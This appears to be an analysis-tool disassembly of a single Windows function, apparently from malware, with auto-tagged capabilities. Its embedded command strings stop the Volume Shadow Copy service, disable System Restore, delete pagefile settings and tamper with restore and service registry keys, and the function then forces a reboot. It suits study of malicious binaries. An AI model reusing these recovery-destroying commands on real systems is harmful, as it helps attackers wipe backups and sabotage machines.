Function at 0x140186d60
Capabilities:
Check if file exists
Get common file path
Get disk information
Shutdown system

Disassembly:
push rdi
sub rsp, 0x370
mov qword [rsp + 0x300], 0xfffffffffffffffe
mov rax, qword [0x1402a25c0]
xor rax, rsp
mov qword [rsp + 0x368], rax
mov edx, 1
xor ecx, ecx
call fcn.1400e06f0
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, [0x1402424b0]
call fcn.1400048c0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x30], eax
xor eax, eax
mov word [rsp + 0x40], ax
lea rdi, [rsp + 0x42]
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [rsp + 0x27c], 0x41
jmp 0x140186df4
movzx eax, byte [rsp + 0x27c]
add al, 1
mov byte [rsp + 0x27c], al
movsx eax, byte [rsp + 0x27c]
cmp eax, 0x5a
jg 0x140186fab
movsx ecx, byte [rsp + 0x27c]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x140186e25
jmp 0x140186de3
lea rcx, [rsp + 0x280]
call fcn.140002d50
nop
movsx r8d, byte [rsp + 0x27c]
lea rdx, [0x140242520]
lea rcx, [rsp + 0x280]
call fcn.140002be0
lea rcx, [rsp + 0x280]
call fcn.1400012c0
mov rcx, rax
call fcn.1400a81f4
mov rdi, rax
lea rcx, [rsp + 0x280]
call fcn.1400012c0
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1400a938c
test eax, eax
jne 0x140186e9b
lea rcx, [rsp + 0x280]
call fcn.140001470
jmp 0x140186de3
lea rcx, [rsp + 0x280]
call fcn.1400012c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x140186ec8
lea rcx, [rsp + 0x280]
call fcn.140001470
jmp 0x140186de3
lea rcx, [rsp + 0x280]
call fcn.1400012c0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140186ef4
lea rcx, [rsp + 0x280]
call fcn.140001470
jmp 0x140186de3
lea r8, [rsp + 0x280]
lea rdx, str.wmic_pagefileset_where_name_
lea rcx, [rsp + 0x2c8]
call fcn.140006c30
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x310], rax
lea r8, str.pagefile.sys__delete
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x2d0]
call fcn.1400010b0
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x320], rax
mov rcx, qword [rsp + 0x320]
call fcn.1400012c0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.1400048c0
nop
lea rcx, [rsp + 0x2d0]
call fcn.140001470
nop
lea rcx, [rsp + 0x2c8]
call fcn.140001470
nop
lea rcx, [rsp + 0x280]
call fcn.140001470
jmp 0x140186de3
mov byte [rsp + 0x288], 0x41
jmp 0x140186fc6
movzx eax, byte [rsp + 0x288]
add al, 1
mov byte [rsp + 0x288], al
movsx eax, byte [rsp + 0x288]
cmp eax, 0x5a
jg 0x140187181
movsx ecx, byte [rsp + 0x288]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x140186ff7
jmp 0x140186fb5
lea rcx, [rsp + 0x290]
call fcn.140002d50
nop
movsx r8d, byte [rsp + 0x288]
lea rdx, [0x1402425a0]
lea rcx, [rsp + 0x290]
call fcn.140002be0
lea rcx, [rsp + 0x290]
call fcn.1400012c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x14018704f
lea rcx, [rsp + 0x290]
call fcn.140001470
jmp 0x140186fb5
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2d8]
call fcn.140002090
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x330], rax
lea r8, str._system32WindowsPowerShell_v1.0powershell.exe__disable_computerrestore__drive
mov rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x2e0]
call fcn.1400010b0
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x340], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x2e8]
call fcn.140006b70
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x350], rax
lea r8, [0x140240bc4]
mov rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x2f0]
call fcn.1400010b0
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x360], rax
mov rcx, qword [rsp + 0x360]
call fcn.1400012c0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.1400048c0
nop
lea rcx, [rsp + 0x2f0]
call fcn.140001470
nop
lea rcx, [rsp + 0x2e8]
call fcn.140001470
nop
lea rcx, [rsp + 0x2e0]
call fcn.140001470
nop
lea rcx, [rsp + 0x2d8]
call fcn.140001470
nop
lea rcx, [rsp + 0x290]
call fcn.140001470
jmp 0x140186fb5
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.net_stop_vss
call fcn.1400048c0
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore___v_RPSessionInterval__t_REG_DWORD__d_0__f
call fcn.1400048c0
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_DELETE__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.1400048c0
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.1400048c0
call fcn.140185fb0
mov dword [rsp + 0x278], eax
lea rcx, [rsp + 0x268]
call fcn.1400053a0
nop
mov r9d, 0x20019
lea r8, [0x1402428d0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005560
test eax, eax
jne 0x1401872a7
mov dword [rsp + 0x298], 3
lea r8, [rsp + 0x298]
lea rdx, [0x140242928]
lea rcx, [rsp + 0x268]
call fcn.1400055f0
lea rcx, [rsp + 0x268]
call fcn.140005430
cmp dword [rsp + 0x298], 0
je 0x1401872a7
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesmsahci
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005560
test eax, eax
jne 0x1401872a7
xor r8d, r8d
lea rdx, [0x140242998]
lea rcx, [rsp + 0x268]
call fcn.1400058e0
lea rcx, [rsp + 0x268]
call fcn.140005430
mov r9d, 0x20019
lea r8, [0x1402429b0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005560
test eax, eax
jne 0x140187357
mov dword [rsp + 0x29c], 1
lea r8, [rsp + 0x29c]
lea rdx, [0x140242a20]
lea rcx, [rsp + 0x268]
call fcn.1400055f0
lea rcx, [rsp + 0x268]
call fcn.140005430
cmp dword [rsp + 0x29c], 0
je 0x140187357
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesPerfDiskPerformance
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005560
test eax, eax
jne 0x140187357
xor r8d, r8d
lea rdx, str.Disable_Performance_Counters
lea rcx, [rsp + 0x268]
call fcn.1400058e0
lea rcx, [rsp + 0x268]
call fcn.140005430
lea rcx, [rsp + 0x250]
call fcn.1400053a0
nop
mov r9d, 0x20019
lea r8, str.SystemCurrentControlSetServices_vds
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005560
test eax, eax
jne 0x1401873e4
lea rcx, [rsp + 0x250]
call fcn.140005430
mov r9d, 0x2001f
lea r8, [0x140242b60]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005560
test eax, eax
jne 0x1401873e4
lea r8, [0x140242bb8]
lea rdx, str.DependOnService
lea rcx, [rsp + 0x250]
call fcn.1400059e0
lea rcx, [rsp + 0x250]
call fcn.140005430
call fcn.1401d59b0
mov dword [rsp + 0x260], eax
cmp dword [rsp + 0x278], 0
jne 0x140187408
cmp dword [rsp + 0x260], 2
jne 0x1401874f8
mov r8d, 0xffffffff
mov edx, 0x44
mov ecx, 0x83
call fcn.1400f0ec0
cmp eax, 6
jne 0x1401874f8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x2a0], rax
lea r8, [rsp + 0x2a8]
mov edx, 0x20
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x2b8], 1
lea r8, [rsp + 0x2b0]
lea rdx, [0x140242768]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rdx, qword [rsp + 0x2b0]
mov qword [rsp + 0x2bc], rdx
mov dword [rsp + 0x2c4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x2b8]
xor edx, edx
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x80020003
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [rsp + 0x2f8], 0
lea rcx, [rsp + 0x250]
call fcn.1400053d0
nop
lea rcx, [rsp + 0x268]
call fcn.1400053d0
mov eax, dword [rsp + 0x2f8]
jmp 0x140187525
mov dword [rsp + 0x2fc], 1
lea rcx, [rsp + 0x250]
call fcn.1400053d0
nop
lea rcx, [rsp + 0x268]
call fcn.1400053d0
mov eax, dword [rsp + 0x2fc]
mov rcx, qword [rsp + 0x368]
xor rcx, rsp
call fcn.1400a8040
add rsp, 0x370
pop rdi
ret